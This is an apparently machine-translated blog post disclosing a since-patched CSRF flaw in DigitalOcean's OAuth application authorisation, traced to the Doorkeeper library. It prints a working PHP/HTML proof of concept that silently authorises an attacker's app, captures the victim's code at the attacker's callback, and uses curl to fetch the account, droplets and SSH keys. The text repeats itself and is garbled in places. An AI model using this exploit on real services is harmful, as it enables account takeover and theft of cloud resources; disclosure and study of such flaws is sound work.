Grab full control over someone else's Digital Ocean cloud (Doorkeeper vulnerability)
Like many habra users, I use "cloud" technologies, incl. I rent VPS (virtual servers) in different countries of the world. About two years, I used Amazon and did not say that I was pleased, but enough.
Last September, I came across a very aggressive PR campaign from Digital Ocean (DO) and decided to use their services. From the moment I abandoned Amazon (never an advertisement) and completely switched to DO.
And the more you use any service and the more you trust your data to it, the more intently you watch how it works.
Web DO is written in RoR, GO / Perl is also used everywhere, DB is MariaDB / PostgreSQL (it’s very strange that both are in one product, but oh well). And from several security reports I would like to single out one already corrected, with the simplest bug and the biggest impact - the seizure of control over someone else's account.
')
Some time ago I wrote an article about the security of the API and that it’s better to look at vulnerabilities there. After inspecting your account and functionality, I noticed that it is there. You can create "developer applications".
Application Creation Window
After reading the documents - developers.digitalocean.com , having studied the launch of the new version of the API, I realized that I can create an application, I can get the following reference : % 2Fsergeybelove.ru% 2Fexploits% 2F & response_type = code
Sample Account Access Request
You can set the scope parameter in the url. Instead of the typical solution of dividing rights across modules (for example, as in social networks - access to friends, photo albums, etc.), the guys from DO decided to do it differently, you can request the available operations — read | write (without explicitly specifying the parameter read only), while giving access to all modules at once. Far from the best solution.
If the user clicks on the “Authorize Application”, it will automatically be transferred to the callback url with a special token. This token can be used already on its side (the developer) to query the next token, which is needed directly for calls to the API methods themselves (account information, managing droplets, etc.).
Their whole mistake was reduced to the fact that you can conduct a CSRF attack on the installation of the application (create on your side a form identical to the request above in the picture, change the action form to DO and execute submit). CSRF token they use, but do not check on the server side.
As a result, we simply place the necessary html / js code somewhere, put it in a hidden frame and, imperceptibly for the user, install its “malicious” application to it, simultaneously catching access_token, which the user sends via callback_url to our server.
For clarity, I will bring my PoC. When visiting a code with such a page, the application was installed, access_token was caught, the next was requested and some account data was displayed
The result - full control over the account. Some of the available methods (just pointing scope = read, write):
In general - thick. This vulnerability is patched, the rest, unfortunately, no. Maybe we can talk about them soon.
upd: the vulnerability is not allowed by the DO developers, but is in the OAuth jam itself - the Doorkeeper, which is used on many sites.
Last September, I came across a very aggressive PR campaign from Digital Ocean (DO) and decided to use their services. From the moment I abandoned Amazon (never an advertisement) and completely switched to DO.
And the more you use any service and the more you trust your data to it, the more intently you watch how it works.
Web DO is written in RoR, GO / Perl is also used everywhere, DB is MariaDB / PostgreSQL (it’s very strange that both are in one product, but oh well). And from several security reports I would like to single out one already corrected, with the simplest bug and the biggest impact - the seizure of control over someone else's account.
')
Venue
Some time ago I wrote an article about the security of the API and that it’s better to look at vulnerabilities there. After inspecting your account and functionality, I noticed that it is there. You can create "developer applications".
Application Creation Window
Access through the application to the account
After reading the documents - developers.digitalocean.com , having studied the launch of the new version of the API, I realized that I can create an application, I can get the following reference : % 2Fsergeybelove.ru% 2Fexploits% 2F & response_type = code
Sample Account Access Request
You can set the scope parameter in the url. Instead of the typical solution of dividing rights across modules (for example, as in social networks - access to friends, photo albums, etc.), the guys from DO decided to do it differently, you can request the available operations — read | write (without explicitly specifying the parameter read only), while giving access to all modules at once. Far from the best solution.
Attack vector
If the user clicks on the “Authorize Application”, it will automatically be transferred to the callback url with a special token. This token can be used already on its side (the developer) to query the next token, which is needed directly for calls to the API methods themselves (account information, managing droplets, etc.).
Their whole mistake was reduced to the fact that you can conduct a CSRF attack on the installation of the application (create on your side a form identical to the request above in the picture, change the action form to DO and execute submit). CSRF token they use, but do not check on the server side.
As a result, we simply place the necessary html / js code somewhere, put it in a hidden frame and, imperceptibly for the user, install its “malicious” application to it, simultaneously catching access_token, which the user sends via callback_url to our server.
For clarity, I will bring my PoC. When visiting a code with such a page, the application was installed, access_token was caught, the next was requested and some account data was displayed
<html> <body<?php if (!isset($_GET['code'])) echo ' onload="document.forms[0].submit()"'; ?>> <form action="https://cloud.digitalocean.com/v1/oauth/authorize" method="POST"> <input type="hidden" name="utf8" value="✓" /> <input type="hidden" name="authenticity_token" value="" /> <input type="hidden" name="client_id" value="___ID___FROM_DEV_PANEL__" /> <input type="hidden" name="redirect_uri" value="http://_url_with_exploit" /> <input type="hidden" name="state" value="" /> <input type="hidden" name="response_type" value="code" /> <input type="hidden" name="scope" value="read write" /> <input type="hidden" name="commit" value="Authorize Application" /> <input type="submit" value="Submit request" /> </form> </body> </html> <?php if (isset($_GET['code']) && preg_match("/^([a-z0-9]{64})$/", $_GET['code'])) { // lets exploit $resp = json_decode(shell_exec('curl -X POST "https://cloud.digitalocean.com/v1/oauth/token?grant_type=authorization_code&code='.$_GET['code'].'&client_id=_CLIENT_ID_OF_DEV_APP&client_secret=CLIENT_SECRET_OF_DEV_API&redirect_uri=http://_url_with_exploit"')); $token = $resp->access_token; echo "Your token is: ".$token; echo '<h1>User info:</h1><pre>'; print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/account"'))); echo '</pre><h1>Droplets info:</h1><pre>'; print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com/v2/droplets"'))); echo '</pre><h1>SSH keys info:</h1><pre>'; print_r(json_decode(shell_exec('curl -X GET -H \'Content-Type: application/json\' -H \'Authorization: Bearer '.$token.'\' "https://api.digitalocean.com//v2/account/keys"'))); echo '</pre>'; } The result - full control over the account. Some of the available methods (just pointing scope = read, write):
- Create, delete droplets
- Creating, deleting, updating ssh keys
- Moving images of droplets (to other accounts)
In general - thick. This vulnerability is patched, the rest, unfortunately, no. Maybe we can talk about them soon.
upd: the vulnerability is not allowed by the DO developers, but is in the OAuth jam itself - the Doorkeeper, which is used on many sites.
Source: https://habr.com/ru/post/246025/
All Articles